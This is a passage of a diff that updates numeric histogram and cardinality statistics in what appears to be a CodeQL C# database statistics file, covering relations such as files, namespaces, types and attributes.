+<v>17</v> </b> </bs> </hist> @@ -5279,52 +5289,47 @@ <b> <a>1</a> <b>2</b> -<v>85</v> +<v>56</v> </b> <b> <a>2</a> <b>3</b> -<v>33</v> +<v>45</v> </b> <b> <a>3</a> <b>4</b> -<v>25</v> +<v>13</v> </b> <b> <a>4</a> -<b>5</b> -<v>20</v> +<b>6</b> +<v>18</v> </b> <b> -<a>5</a> -<b>7</b> -<v>21</v> +<a>6</a> +<b>9</b> +<v>17</v> </b> <b> -<a>7</a> -<b>12</b> -<v>26</v> +<a>9</a> +<b>14</b> +<v>16</v> </b> <b> -<a>12</a> -<b>22</b> -<v>25</v> +<a>14</a> +<b>43</b> +<v>16</v> </b> <b> -<a>22</a> -<b>39</b> -<v>23</v> +<a>48</a> +<b>122</b> +<v>16</v> </b> <b> -<a>39</a> -<b>80</b> -<v>23</v> -</b> -<b> -<a>85</a> -<b>638</b> -<v>22</v> +<a>168</a> +<b>1169</b> +<v>15</v> </b> </bs> </hist> @@ -5340,7 +5345,7 @@ <b> <a>1</a> <b>2</b> -<v>302</v> +<v>211</v> </b> <b> <a>2</a> @@ -5361,7 +5366,7 @@ <b> <a>1</a> <b>2</b> -<v>303</v> +<v>212</v> </b> </bs> </hist> @@ -5377,7 +5382,7 @@ <b> <a>1</a> <b>2</b> -<v>302</v> +<v>211</v> </b> <b> <a>2</a> @@ -5398,47 +5403,42 @@ <b> <a>1</a> <b>2</b> -<v>101</v> +<v>78</v> </b> <b> <a>2</a> <b>3</b> -<v>36</v> +<v>40</v> </b> <b> <a>3</a> <b>4</b> -<v>28</v> +<v>18</v> </b> <b> <a>4</a> -<b>5</b> -<v>15</v> +<b>6</b> +<v>14</v> </b> <b> -<a>5</a> -<b>7</b> -<v>28</v> +<a>6</a> +<b>9</b> +<v>17</v> </b> <b> -<a>7</a> -<b>12</b> -<v>26</v> +<a>9</a> +<b>20</b> +<v>16</v> </b> <b> -<a>12</a> -<b>23</b> -<v>23</v> +<a>20</a> +<b>87</b> +<v>16</v> </b> <b> -<a>23</a> -<b>55</b> -<v>23</v> -</b> -<b> -<a>55</a> -<b>502</b> -<v>23</v> +<a>108</a> +<b>942</b> +<v>13</v> </b> </bs> </hist> @@ -5454,52 +5454,47 @@ <b> <a>1</a> <b>2</b> -<v>96</v> +<v>70</v> </b> <b> <a>2</a> <b>3</b> -<v>33</v> +<v>41</v> </b> <b> <a>3</a> <b>4</b> -<v>30</v> +<v>16</v> </b> <b> <a>4</a> <b>6</b> -<v>27</v> +<v>19</v> </b> <b> <a>6</a> -<b>9</b> -<v>24</v> +<b>10</b> +<v>16</v> </b> <b> -<a>9</a> +<a>10</a> <b>16</b> -<v>23</v> +<v>16</v> </b> <b> <a>17</a> -<b>30</b> -<v>23</v> +<b>77</b> +<v>16</v> </b> <b> -<a>30</a> -<b>71</b> -<v>23</v> +<a>81</a> +<b>434</b> +<v>16</v> </b> <b> -<a>71</a> -<b>416</b> -<v>23</v> -</b> -<b> -<a>637</a> -<b>638</b> -<v>1</v> +<a>684</a> +<b>1169</b> +<v>2</v> </b> </bs> </hist> @@ -5517,7 +5512,7 @@ </e> <e> <k>cpu_seconds</k> -<v>989</v> +<v>980</v> </e> <e> <k>elapsed_seconds</k> @@ -5567,12 +5562,12 @@ <b> <a>1</a> <b>2</b> -<v>887</v> +<v>868</v> </b> <b> <a>2</a> <b>3</b> -<v>97</v> +<v>107</v> </b> <b> <a>3</a> @@ -5593,12 +5588,12 @@ <b> <a>1</a> <b>2</b> -<v>887</v> +<v>868</v> </b> <b> <a>2</a> <b>3</b> -<v>97</v> +<v>107</v> </b> <b> <a>3</a> @@ -6297,19 +6292,19 @@ </relation> <relation> <name>duplicateCode</name> -<cardinality>22762</cardinality> +<cardinality>22778</cardinality> <columnsizes> <e> <k>id</k> -<v>22762</v> +<v>22778</v> </e> <e> <k>relativePath</k> -<v>3808</v> +<v>3811</v> </e> <e> <k>equivClass</k> -<v>7017</v> +<v>7022</v> </e> </columnsizes> <dependencies> @@ -6323,7 +6318,7 @@ <b> <a>1</a> <b>2</b> -<v>22762</v> +<v>22778</v> </b> </bs> </hist> @@ -6339,7 +6334,7 @@ <b> <a>1</a> <b>2</b> -<v>22762</v> +<v>22778</v> </b> </bs> </hist> @@ -6360,7 +6355,7 @@ <b> <a>2</a> <b>3</b> -<v>565</v> +<v>566</v> </b> <b> <a>3</a> @@ -6385,12 +6380,12 @@ <b> <a>8</a> <b>10</b> -<v>277</v> +<v>278</v> </b> <b> <a>10</a> <b>14</b> -<v>316</v> +<v>317</v> </b> <b> <a>14</a> @@ -6416,17 +6411,17 @@ <b> <a>1</a> <b>2</b> -<v>1131</v> +<v>1132</v> </b> <b> <a>2</a> <b>3</b> -<v>521</v> +<v>522</v> </b> <b> <a>3</a> <b>4</b> -<v>443</v> +<v>444</v> </b> <b> <a>4</a> @@ -6446,7 +6441,7 @@ <b> <a>8</a> <b>10</b> -<v>277</v> +<v>278</v> </b> <b> <a>10</a> @@ -6477,12 +6472,12 @@ <b> <a>2</a> <b>3</b> -<v>3769</v> +<v>3772</v> </b> <b> <a>3</a> <b>4</b> -<v>1145</v> +<v>1146</v> </b> <b> <a>4</a> @@ -6502,7 +6497,7 @@ <b> <a>8</a> <b>11</b> -<v>316</v> +<v>317</v> </b> </bs> </hist> @@ -6518,22 +6513,22 @@ <b> <a>1</a> <b>2</b> -<v>677</v> +<v>678</v> </b> <b> <a>2</a> <b>3</b> -<v>3442</v> +<v>3445</v> </b> <b> <a>3</a> <b>4</b> -<v>1077</v> +<v>1078</v> </b> <b> <a>4</a> <b>5</b> -<v>677</v> +<v>678</v> </b> <b> <a>5</a> @@ -8626,11 +8621,11 @@ </relation> <relation> <name>locations_default</name> -<cardinality>14071713</cardinality> +<cardinality>14071803</cardinality> <columnsizes> <e> <k>id</k> -<v>14071713</v> +<v>14071803</v> </e> <e> <k>file</k> @@ -8664,7 +8659,7 @@ <b> <a>1</a> <b>2</b> -<v>14071713</v> +<v>14071803</v> </b> </bs> </hist> @@ -8680,7 +8675,7 @@ <b> <a>1</a> <b>2</b> -<v>14071713</v> +<v>14071803</v> </b> </bs> </hist> @@ -8696,7 +8691,7 @@ <b> <a>1</a> <b>2</b> -<v>14071713</v> +<v>14071803</v> </b> </bs> </hist> @@ -8712,7 +8707,7 @@ <b> <a>1</a> <b>2</b> -<v>14071713</v> +<v>14071803</v> </b> </bs> </hist> @@ -8728,7 +8723,7 @@ <b> <a>1</a> <b>2</b> -<v>14071713</v> +<v>14071803</v> </b> </bs> </hist> @@ -8774,37 +8769,37 @@ <b> <a>150</a> <b>208</b> -<v>471</v> +<v>470</v> </b> <b> <a>208</a> -<b>297</b> -<v>472</v> -</b> -<b> -<a>297</a> -<b>446</b> -<v>469</v> -</b> -<b> -<a>446</a> -<b>693</b> -<v>469</v> -</b> -<b> -<a>693</a> -<b>1208</b> +<b>296</b> <v>468</v> </b> <b> -<a>1209</a> -<b>2677</b> +<a>296</a> +<b>445</b> <v>468</v> </b> <b> -<a>2691</a> +<a>445</a> +<b>685</b> +<v>469</v> +</b> +<b> +<a>685</a> +<b>1200</b> +<v>468</v> +</b> +<b> +<a>1200</a> +<b>2633</b> +<v>468</v> +</b> +<b> +<a>2635</a> <b>42820</b> -<v>488</v> +<v>494</v> </b> <b> <a>43087</a> @@ -9103,12 +9098,12 @@ <b> <a>105</a> <b>123</b> -<v>483</v> +<v>482</v> </b> <b> <a>123</a> <b>148</b> -<v>469</v> +<v>470</v> </b> <b> <a>148</a> @@ -9472,13 +9467,13 @@ <v>110</v> </b> <b> -<a>5447</a> -<b>74974</b> +<a>5448</a> +<b>74973</b> <v>110</v> </b> <b> <a>76216</a> -<b>2221228</b> +<b>2221239</b> <v>24</v> </b> </bs> @@ -9793,7 +9788,7 @@ </b> <b> <a>277</a> -<b>10669</b> +<b>10670</b> <v>9489</v> </b> </bs> @@ -10077,7 +10072,7 @@ <v>124</v> </b> <b> -<a>82670</a> +<a>82672</a> <b>908062</b> <v>42</v> </b> @@ -10844,23 +10839,23 @@ </relation> <relation> <name>assemblies</name> -<cardinality>4203</cardinality> +<cardinality>4206</cardinality> <columnsizes> <e> <k>id</k> -<v>4203</v> +<v>4206</v> </e> <e> <k>file</k> -<v>4203</v> +<v>4206</v> </e> <e> <k>fullname</k> -<v>3442</v> +<v>3445</v> </e> <e> <k>name</k> -<v>3174</v> +<v>3176</v> </e> <e> <k>version</k> @@ -10878,7 +10873,7 @@ <b> <a>1</a> <b>2</b> -<v>4203</v> +<v>4206</v> </b> </bs> </hist> @@ -10894,7 +10889,7 @@ <b> <a>1</a> <b>2</b> -<v>4203</v> +<v>4206</v> </b> </bs> </hist> @@ -10910,7 +10905,7 @@ <b> <a>1</a> <b>2</b> -<v>4203</v> +<v>4206</v> </b> </bs> </hist> @@ -10926,7 +10921,7 @@ <b> <a>1</a> <b>2</b> -<v>4203</v> +<v>4206</v> </b> </bs> </hist> @@ -10942,7 +10937,7 @@ <b> <a>1</a> <b>2</b> -<v>4203</v> +<v>4206</v> </b> </bs> </hist> @@ -10958,7 +10953,7 @@ <b> <a>1</a> <b>2</b> -<v>4203</v> +<v>4206</v> </b> </bs> </hist> @@ -10974,7 +10969,7 @@ <b> <a>1</a> <b>2</b> -<v>4203</v> +<v>4206</v> </b> </bs> </hist> @@ -10990,7 +10985,7 @@ <b> <a>1</a> <b>2</b> -<v>4203</v> +<v>4206</v> </b> </bs> </hist> @@ -11006,12 +11001,12 @@ <b> <a>1</a> <b>2</b> -<v>2681</v> +<v>2683</v> </b> <b> <a>2</a> <b>3</b> -<v>760</v> +<v>761</v> </b> </bs> </hist> @@ -11027,12 +11022,12 @@ <b> <a>1</a> <b>2</b> -<v>2681</v> +<v>2683</v> </b> <b> <a>2</a> <b>3</b> -<v>760</v> +<v>761</v> </b> </bs> </hist> @@ -11048,7 +11043,7 @@ <b> <a>1</a> <b>2</b> -<v>3442</v> +<v>3445</v> </b> </bs> </hist> @@ -11064,7 +11059,7 @@ <b> <a>1</a> <b>2</b> -<v>3442</v> +<v>3445</v> </b> </bs> </hist> @@ -11080,7 +11075,7 @@ <b> <a>1</a> <b>2</b> -<v>2189</v> +<v>2191</v> </b> <b> <a>2</a> @@ -11106,7 +11101,7 @@ <b> <a>1</a> <b>2</b> -<v>2189</v> +<v>2191</v> </b> <b> <a>2</a> @@ -11132,7 +11127,7 @@ <b> <a>1</a> <b>2</b> -<v>2950</v> +<v>2952</v> </b> <b> <a>2</a> @@ -11153,7 +11148,7 @@ <b> <a>1</a> <b>2</b> -<v>2950</v> +<v>2952</v> </b> <b> <a>2</a> @@ -11332,19 +11327,19 @@ </relation> <relation> <name>files</name> -<cardinality>42516</cardinality> +<cardinality>42547</cardinality> <columnsizes> <e> <k>id</k> -<v>42516</v> +<v>42547</v> </e> <e> <k>name</k> -<v>42516</v> +<v>42547</v> </e> <e> <k>simple</k> -<v>22962</v> +<v>22979</v> </e> <e> <k>ext</k> @@ -11366,7 +11361,7 @@ <b> <a>1</a> <b>2</b> -<v>42516</v> +<v>42547</v> </b> </bs> </hist> @@ -11382,7 +11377,7 @@ <b> <a>1</a> <b>2</b> -<v>42516</v> +<v>42547</v> </b> </bs> </hist> @@ -11398,7 +11393,7 @@ <b> <a>1</a> <b>2</b> -<v>42516</v> +<v>42547</v> </b> </bs> </hist> @@ -11414,7 +11409,7 @@ <b> <a>1</a> <b>2</b> -<v>42516</v> +<v>42547</v> </b> </bs> </hist> @@ -11430,7 +11425,7 @@ <b> <a>1</a> <b>2</b> -<v>42516</v> +<v>42547</v> </b> </bs> </hist> @@ -11446,7 +11441,7 @@ <b> <a>1</a> <b>2</b> -<v>42516</v> +<v>42547</v> </b> </bs> </hist> @@ -11462,7 +11457,7 @@ <b> <a>1</a> <b>2</b> -<v>42516</v> +<v>42547</v> </b> </bs> </hist> @@ -11478,7 +11473,7 @@ <b> <a>1</a> <b>2</b> -<v>42516</v> +<v>42547</v> </b> </bs> </hist> @@ -11494,12 +11489,12 @@ <b> <a>1</a> <b>2</b> -<v>21553</v> +<v>21568</v> </b> <b> <a>2</a> <b>154</b> -<v>1409</v> +<v>1410</v> </b> </bs> </hist> @@ -11515,12 +11510,12 @@ <b> <a>1</a> <b>2</b> -<v>21553</v> +<v>21568</v> </b> <b> <a>2</a> <b>154</b> -<v>1409</v> +<v>1410</v> </b> </bs> </hist> @@ -11536,12 +11531,12 @@ <b> <a>1</a> <b>2</b> -<v>22172</v> +<v>22188</v> </b> <b> <a>2</a> <b>5</b> -<v>789</v> +<v>790</v> </b> </bs> </hist> @@ -11557,7 +11552,7 @@ <b> <a>1</a> <b>2</b> -<v>22962</v> +<v>22979</v> </b> </bs> </hist> @@ -11795,19 +11790,19 @@ </relation> <relation> <name>folders</name> -<cardinality>16959</cardinality> +<cardinality>16971</cardinality> <columnsizes> <e> <k>id</k> -<v>16959</v> +<v>16971</v> </e> <e> <k>name</k> -<v>14741</v> +<v>14751</v> </e> <e> <k>simple</k> -<v>2779</v> +<v>2781</v> </e> </columnsizes> <dependencies> @@ -11821,7 +11816,7 @@ <b> <a>1</a> <b>2</b> -<v>16959</v> +<v>16971</v> </b> </bs> </hist> @@ -11837,7 +11832,7 @@ <b> <a>1</a> <b>2</b> -<v>16959</v> +<v>16971</v> </b> </bs> </hist> @@ -11853,7 +11848,7 @@ <b> <a>1</a> <b>2</b> -<v>14741</v> +<v>14751</v> </b> </bs> </hist> @@ -11869,12 +11864,12 @@ <b> <a>1</a> <b>2</b> -<v>12522</v> +<v>12531</v> </b> <b> <a>2</a> <b>3</b> -<v>2218</v> +<v>2220</v> </b> </bs> </hist> @@ -11890,7 +11885,7 @@ <b> <a>1</a> <b>2</b> -<v>1823</v> +<v>1825</v> </b> <b> <a>2</a> @@ -11926,7 +11921,7 @@ <b> <a>1</a> <b>2</b> -<v>1823</v> +<v>1825</v> </b> <b> <a>2</a> @@ -11956,15 +11951,15 @@ </relation> <relation> <name>containerparent</name> -<cardinality>57248</cardinality> +<cardinality>57288</cardinality> <columnsizes> <e> <k>parent</k> -<v>14741</v> +<v>14751</v> </e> <e> <k>child</k> -<v>57248</v> +<v>57288</v> </e> </columnsizes> <dependencies> @@ -11978,27 +11973,27 @@ <b> <a>1</a> <b>2</b> -<v>8265</v> +<v>8271</v> </b> <b> <a>2</a> <b>3</b> -<v>1940</v> +<v>1942</v> </b> <b> <a>3</a> <b>4</b> -<v>770</v> +<v>771</v> </b> <b> <a>4</a> <b>5</b> -<v>970</v> +<v>971</v> </b> <b> <a>5</a> <b>9</b> -<v>1106</v> +<v>1107</v> </b> <b> <a>9</a> @@ -12024,7 +12019,7 @@ <b> <a>1</a> <b>2</b> -<v>57248</v> +<v>57288</v> </b> </bs> </hist> @@ -12034,11 +12029,11 @@ </relation> <relation> <name>file_extraction_mode</name> -<cardinality>26810</cardinality> +<cardinality>26829</cardinality> <columnsizes> <e> <k>file</k> -<v>26810</v> +<v>26829</v> </e> <e> <k>mode</k> @@ -12056,7 +12051,7 @@ <b> <a>1</a> <b>2</b> -<v>26810</v> +<v>26829</v> </b> </bs> </hist> @@ -12082,15 +12077,15 @@ </relation> <relation> <name>namespaces</name> -<cardinality>21967</cardinality> +<cardinality>21983</cardinality> <columnsizes> <e> <k>id</k> -<v>21967</v> +<v>21983</v> </e> <e> <k>name</k> -<v>4895</v> +<v>4899</v> </e> </columnsizes> <dependencies> @@ -12104,7 +12099,7 @@ <b> <a>1</a> <b>2</b> -<v>21967</v> +<v>21983</v> </b> </bs> </hist> @@ -12125,7 +12120,7 @@ <b> <a>2</a> <b>3</b> -<v>3496</v> +<v>3498</v> </b> <b> <a>3</a> @@ -12160,15 +12155,15 @@ </relation> <relation> <name>namespace_declarations</name> -<cardinality>19783</cardinality> +<cardinality>19797</cardinality> <columnsizes> <e> <k>id</k> -<v>19783</v> +<v>19797</v> </e> <e> <k>namespace_id</k> -<v>3891</v> +<v>3894</v> </e> </columnsizes> <dependencies> @@ -12182,7 +12177,7 @@ <b> <a>1</a> <b>2</b> -<v>19783</v> +<v>19797</v> </b> </bs> </hist> @@ -12198,12 +12193,12 @@ <b> <a>1</a> <b>2</b> -<v>1399</v> +<v>1400</v> </b> <b> <a>2</a> <b>3</b> -<v>799</v> +<v>800</v> </b> <b> <a>3</a> @@ -12243,15 +12238,15 @@ </relation> <relation> <name>namespace_declaration_location</name> -<cardinality>19783</cardinality> +<cardinality>19797</cardinality> <columnsizes> <e> <k>id</k> -<v>19783</v> +<v>19797</v> </e> <e> <k>loc</k> -<v>19783</v> +<v>19797</v> </e> </columnsizes> <dependencies> @@ -12265,7 +12260,7 @@ <b> <a>1</a> <b>2</b> -<v>19783</v> +<v>19797</v> </b> </bs> </hist> @@ -12281,7 +12276,7 @@ <b> <a>1</a> <b>2</b> -<v>19783</v> +<v>19797</v> </b> </bs> </hist> @@ -12291,15 +12286,15 @@ </relation> <relation> <name>parent_namespace</name> -<cardinality>777978</cardinality> +<cardinality>778529</cardinality> <columnsizes> <e> <k>child_id</k> -<v>777978</v> +<v>778529</v> </e> <e> <k>namespace_id</k> -<v>13570</v> +<v>13580</v> </e> </columnsizes> <dependencies> @@ -12313,7 +12308,7 @@ <b> <a>1</a> <b>2</b> -<v>777978</v> +<v>778529</v> </b> </bs> </hist> @@ -12329,32 +12324,32 @@ <b> <a>1</a> <b>2</b> -<v>3330</v> +<v>3332</v> </b> <b> <a>2</a> <b>3</b> -<v>1628</v> +<v>1629</v> </b> <b> <a>3</a> <b>4</b> -<v>1028</v> +<v>1029</v> </b> <b> <a>4</a> <b>5</b> -<v>916</v> +<v>917</v> </b> <b> <a>5</a> <b>7</b> -<v>1253</v> +<v>1254</v> </b> <b> <a>7</a> <b>10</b> -<v>1092</v> +<v>1093</v> </b> <b> <a>10</a> @@ -12369,7 +12364,7 @@ <b> <a>23</a> <b>51</b> -<v>1028</v> +<v>1029</v> </b> <b> <a>51</a> @@ -12389,15 +12384,15 @@ </relation> <relation> <name>parent_namespace_declaration</name> -<cardinality>88408</cardinality> +<cardinality>88470</cardinality> <columnsizes> <e> <k>child_id</k> -<v>87891</v> +<v>87953</v> </e> <e> <k>namespace_id</k> -<v>19783</v> +<v>19797</v> </e> </columnsizes> <dependencies> @@ -12411,7 +12406,7 @@ <b> <a>1</a> <b>2</b> -<v>87740</v> +<v>87802</v> </b> <b> <a>2</a> @@ -12432,27 +12427,27 @@ <b> <a>1</a> <b>2</b> -<v>13795</v> +<v>13804</v> </b> <b> <a>2</a> <b>9</b> -<v>1716</v> +<v>1717</v> </b> <b> <a>9</a> <b>13</b> -<v>1277</v> +<v>1278</v> </b> <b> <a>13</a> <b>16</b> -<v>1428</v> +<v>1429</v> </b> <b> <a>16</a> <b>32</b> -<v>1511</v> +<v>1512</v> </b> <b> <a>32</a> @@ -12467,15 +12462,15 @@ </relation> <relation> <name>using_namespace_directives</name> -<cardinality>144423</cardinality> +<cardinality>144525</cardinality> <columnsizes> <e> <k>id</k> -<v>144423</v> +<v>144525</v> </e> <e> <k>namespace_id</k> -<v>4232</v> +<v>4235</v> </e> </columnsizes> <dependencies> @@ -12489,7 +12484,7 @@ <b> <a>1</a> <b>2</b> -<v>144423</v> +<v>144525</v> </b> </bs> </hist> @@ -12505,7 +12500,7 @@ <b> <a>1</a> <b>2</b> -<v>1497</v> +<v>1498</v> </b> <b> <a>2</a> @@ -12520,7 +12515,7 @@ <b> <a>4</a> <b>5</b> -<v>238</v> +<v>239</v> </b> <b> <a>5</a> @@ -12535,7 +12530,7 @@ <b> <a>14</a> <b>25</b> -<v>321</v> +<v>322</v> </b> <b> <a>25</a> @@ -12545,7 +12540,7 @@ <b> <a>64</a> <b>465</b> -<v>321</v> +<v>322</v> </b> <b> <a>510</a> @@ -12648,15 +12643,15 @@ </relation> <relation> <name>using_directive_location</name> -<cardinality>144481</cardinality> +<cardinality>144583</cardinality> <columnsizes> <e> <k>id</k> -<v>144481</v> +<v>144583</v> </e> <e> <k>loc</k> -<v>144437</v> +<v>144539</v> </e> </columnsizes> <dependencies> @@ -12670,7 +12665,7 @@ <b> <a>1</a> <b>2</b> -<v>144481</v> +<v>144583</v> </b> </bs> </hist> @@ -12686,7 +12681,7 @@ <b> <a>1</a> <b>2</b> -<v>144393</v> +<v>144496</v> </b> <b> <a>2</a> @@ -12701,11 +12696,11 @@ </relation> <relation> <name>types</name> -<cardinality>868191</cardinality> +<cardinality>868805</cardinality> <columnsizes> <e> <k>id</k> -<v>868191</v> +<v>868805</v> </e> <e> <k>kind</k> @@ -12713,7 +12708,7 @@ </e> <e> <k>name</k> -<v>367292</v> +<v>367552</v> </e> </columnsizes> <dependencies> @@ -12727,7 +12722,7 @@ <b> <a>1</a> <b>2</b> -<v>868191</v> +<v>868805</v> </b> </bs> </hist> @@ -12743,7 +12738,7 @@ <b> <a>1</a> <b>2</b> -<v>868191</v> +<v>868805</v> </b> </bs> </hist> @@ -12841,17 +12836,17 @@ <b> <a>1</a> <b>2</b> -<v>324994</v> +<v>325224</v> </b> <b> <a>2</a> <b>5</b> -<v>28872</v> +<v>28893</v> </b> <b> <a>5</a> <b>6356</b> -<v>13424</v> +<v>13434</v> </b> </bs> </hist> @@ -12867,12 +12862,12 @@ <b> <a>1</a> <b>2</b> -<v>365853</v> +<v>366112</v> </b> <b> <a>2</a> <b>4</b> -<v>1438</v> +<v>1439</v> </b> </bs> </hist> @@ -12882,15 +12877,15 @@ </relation> <relation> <name>typerefs</name> -<cardinality>235069</cardinality> +<cardinality>235236</cardinality> <columnsizes> <e> <k>id</k> -<v>235069</v> +<v>235236</v> </e> <e> <k>name</k> -<v>177192</v> +<v>177317</v> </e> </columnsizes> <dependencies> @@ -12904,7 +12899,7 @@ <b> <a>1</a> <b>2</b> -<v>235069</v> +<v>235236</v> </b> </bs> </hist> @@ -12920,17 +12915,17 @@ <b> <a>1</a> <b>2</b> -<v>162626</v> +<v>162741</v> </b> <b> <a>2</a> <b>7</b> -<v>13497</v> +<v>13507</v> </b> <b> <a>7</a> <b>2183</b> -<v>1067</v> +<v>1068</v> </b> </bs> </hist> @@ -12940,15 +12935,15 @@ </relation> <relation> <name>typeref_type</name> -<cardinality>234889</cardinality> +<cardinality>235055</cardinality> <columnsizes> <e> <k>id</k> -<v>234889</v> +<v>235055</v> </e> <e> <k>typeId</k> -<v>234889</v> +<v>235055</v> </e> </columnsizes> <dependencies> @@ -12962,7 +12957,7 @@ <b> <a>1</a> <b>2</b> -<v>234889</v> +<v>235055</v> </b> </bs> </hist> @@ -12978,7 +12973,7 @@ <b> <a>1</a> <b>2</b> -<v>234889</v> +<v>235055</v> </b> </bs> </hist> @@ -12988,11 +12983,11 @@ </relation> <relation> <name>array_element_type</name> -<cardinality>9133</cardinality> +<cardinality>9139</cardinality> <columnsizes> <e> <k>array</k> -<v>9133</v> +<v>9139</v> </e> <e> <k>dimension</k> @@ -13004,7 +12999,7 @@ </e> <e> <k>element</k> -<v>9123</v> +<v>9130</v> </e> </columnsizes> <dependencies> @@ -13018,7 +13013,7 @@ <b> <a>1</a> <b>2</b> -<v>9133</v> +<v>9139</v> </b> </bs> </hist> @@ -13034,7 +13029,7 @@ <b> <a>1</a> <b>2</b> -<v>9133</v> +<v>9139</v> </b> </bs> </hist> @@ -13050,7 +13045,7 @@ <b> <a>1</a> <b>2</b> -<v>9133</v> +<v>9139</v> </b> </bs> </hist> @@ -13192,7 +13187,7 @@ <b> <a>1</a> <b>2</b> -<v>9113</v> +<v>9120</v> </b> <b> <a>2</a> @@ -13213,7 +13208,7 @@ <b> <a>1</a> <b>2</b> -<v>9123</v> +<v>9130</v> </b> </bs> </hist> @@ -13229,7 +13224,7 @@ <b> <a>1</a> <b>2</b> -<v>9113</v> +<v>9120</v> </b> <b> <a>2</a> @@ -13340,11 +13335,11 @@ </relation> <relation> <name>enum_underlying_type</name> -<cardinality>11966</cardinality> +<cardinality>11975</cardinality> <columnsizes> <e> <k>enum_id</k> -<v>11966</v> +<v>11975</v> </e> <e> <k>underlying_type_id</k> @@ -13362,7 +13357,7 @@ <b> <a>1</a> <b>2</b> -<v>11966</v> +<v>11975</v> </b> </bs> </hist> @@ -13418,15 +13413,15 @@ </relation> <relation> <name>delegate_return_type</name> -<cardinality>107679</cardinality> +<cardinality>107755</cardinality> <columnsizes> <e> <k>delegate_id</k> -<v>107679</v> +<v>107755</v> </e> <e> <k>return_type_id</k> -<v>55575</v> +<v>55615</v> </e> </columnsizes> <dependencies> @@ -13440,7 +13435,7 @@ <b> <a>1</a> <b>2</b> -<v>107679</v> +<v>107755</v> </b> </bs> </hist> @@ -13456,12 +13451,12 @@ <b> <a>1</a> <b>2</b> -<v>52259</v> +<v>52296</v> </b> <b> <a>2</a> <b>4178</b> -<v>3315</v> +<v>3318</v> </b> </bs> </hist> @@ -13471,15 +13466,15 @@ </relation> <relation> <name>extend</name> -<cardinality>323868</cardinality> +<cardinality>324097</cardinality> <columnsizes> <e> <k>sub</k> -<v>323868</v> +<v>324097</v> </e> <e> <k>super</k> -<v>31603</v> +<v>31626</v> </e> </columnsizes> <dependencies> @@ -13493,7 +13488,7 @@ <b> <a>1</a> <b>2</b> -<v>323868</v> +<v>324097</v> </b> </bs> </hist> @@ -13509,22 +13504,22 @@ <b> <a>1</a> <b>2</b> -<v>22655</v> +<v>22671</v> </b> <b> <a>2</a> <b>3</b> -<v>3983</v> +<v>3986</v> </b> <b> <a>3</a> <b>5</b> -<v>2418</v> +<v>2420</v> </b> <b> <a>5</a> <b>70</b> -<v>2379</v> +<v>2381</v> </b> <b> <a>70</a> @@ -13538,16 +13533,27 @@ </dependencies> </relation> <relation> +<name>anonymous_types</name> +<cardinality>1215</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>1215</v> +</e> +</columnsizes> +<dependencies/> +</relation> +<relation> <name>implement</name> -<cardinality>542265</cardinality> +<cardinality>542649</cardinality> <columnsizes> <e> <k>sub</k> -<v>226618</v> +<v>226779</v> </e> <e> <k>super</k> -<v>122689</v> +<v>122775</v> </e> </columnsizes> <dependencies> @@ -13561,27 +13567,27 @@ <b> <a>1</a> <b>2</b> -<v>100891</v> +<v>100963</v> </b> <b> <a>2</a> <b>3</b> -<v>57111</v> +<v>57152</v> </b> <b> <a>3</a> <b>4</b> -<v>36153</v> +<v>36178</v> </b> <b> <a>4</a> <b>7</b> -<v>18993</v> +<v>19006</v> </b> <b> <a>7</a> <b>21</b> -<v>13468</v> +<v>13478</v> </b> </bs> </hist> @@ -13597,27 +13603,27 @@ <b> <a>1</a> <b>2</b> -<v>67030</v> +<v>67077</v> </b> <b> <a>2</a> <b>3</b> -<v>29818</v> +<v>29840</v> </b> <b> <a>3</a> <b>4</b> -<v>10259</v> +<v>10267</v> </b> <b> <a>4</a> <b>6</b> -<v>8704</v> +<v>8710</v> </b> <b> <a>6</a> <b>21807</b> -<v>6875</v> +<v>6880</v> </b> </bs> </hist> @@ -13627,15 +13633,15 @@ </relation> <relation> <name>type_location</name> -<cardinality>554344</cardinality> +<cardinality>554736</cardinality> <columnsizes> <e> <k>id</k> -<v>467515</v> +<v>467846</v> </e> <e> <k>loc</k> -<v>29911</v> +<v>29932</v> </e> </columnsizes> <dependencies> @@ -13649,17 +13655,17 @@ <b> <a>1</a> <b>2</b> -<v>407868</v> +<v>408156</v> </b> <b> <a>2</a> <b>3</b> -<v>39279</v> +<v>39306</v> </b> <b> <a>3</a> <b>638</b> -<v>20368</v> +<v>20382</v> </b> </bs> </hist> @@ -13675,17 +13681,17 @@ <b> <a>1</a> <b>2</b> -<v>26034</v> +<v>26053</v> </b> <b> <a>2</a> <b>26</b> -<v>2272</v> +<v>2273</v> </b> <b> <a>26</a> <b>12195</b> -<v>1604</v> +<v>1605</v> </b> </bs> </hist> @@ -13695,11 +13701,11 @@ </relation> <relation> <name>tuple_underlying_type</name> -<cardinality>1784</cardinality> +<cardinality>1786</cardinality> <columnsizes> <e> <k>tuple</k> -<v>1784</v> +<v>1786</v> </e> <e> <k>struct</k> @@ -13717,7 +13723,7 @@ <b> <a>1</a> <b>2</b> -<v>1784</v> +<v>1786</v> </b> </bs> </hist> @@ -13733,7 +13739,7 @@ <b> <a>1</a> <b>2</b> -<v>643</v> +<v>644</v> </b> <b> <a>2</a> @@ -13753,11 +13759,11 @@ </relation> <relation> <name>tuple_element</name> -<cardinality>6797</cardinality> +<cardinality>6802</cardinality> <columnsizes> <e> <k>tuple</k> -<v>1779</v> +<v>1781</v> </e> <e> <k>index</k> @@ -13765,7 +13771,7 @@ </e> <e> <k>field</k> -<v>6797</v> +<v>6802</v> </e> </columnsizes> <dependencies> @@ -14103,7 +14109,7 @@ <b> <a>1</a> <b>2</b> -<v>6797</v> +<v>6802</v> </b> </bs> </hist> @@ -14119,7 +14125,7 @@ <b> <a>1</a> <b>2</b> -<v>6797</v> +<v>6802</v> </b> </bs> </hist> @@ -14129,19 +14135,19 @@ </relation> <relation> <name>attributes</name> -<cardinality>750169</cardinality> +<cardinality>750685</cardinality> <columnsizes> <e> <k>id</k> -<v>750169</v> +<v>750685</v> </e> <e> <k>type_id</k> -<v>1687</v> +<v>1688</v> </e> <e> <k>target</k> -<v>429568</v> +<v>429862</v> </e> </columnsizes> <dependencies> @@ -14155,7 +14161,7 @@ <b> <a>1</a> <b>2</b> -<v>750169</v> +<v>750685</v> </b> </bs> </hist> @@ -14171,7 +14177,7 @@ <b> <a>1</a> <b>2</b> -<v>750169</v> +<v>750685</v> </b> </bs> </hist> @@ -14246,7 +14252,7 @@ </b> <b> <a>5204</a> -<b>41859</b> +<b>41857</b> <v>19</v> </b> </bs> @@ -14317,7 +14323,7 @@ </b> <b> <a>562</a> -<b>39379</b> 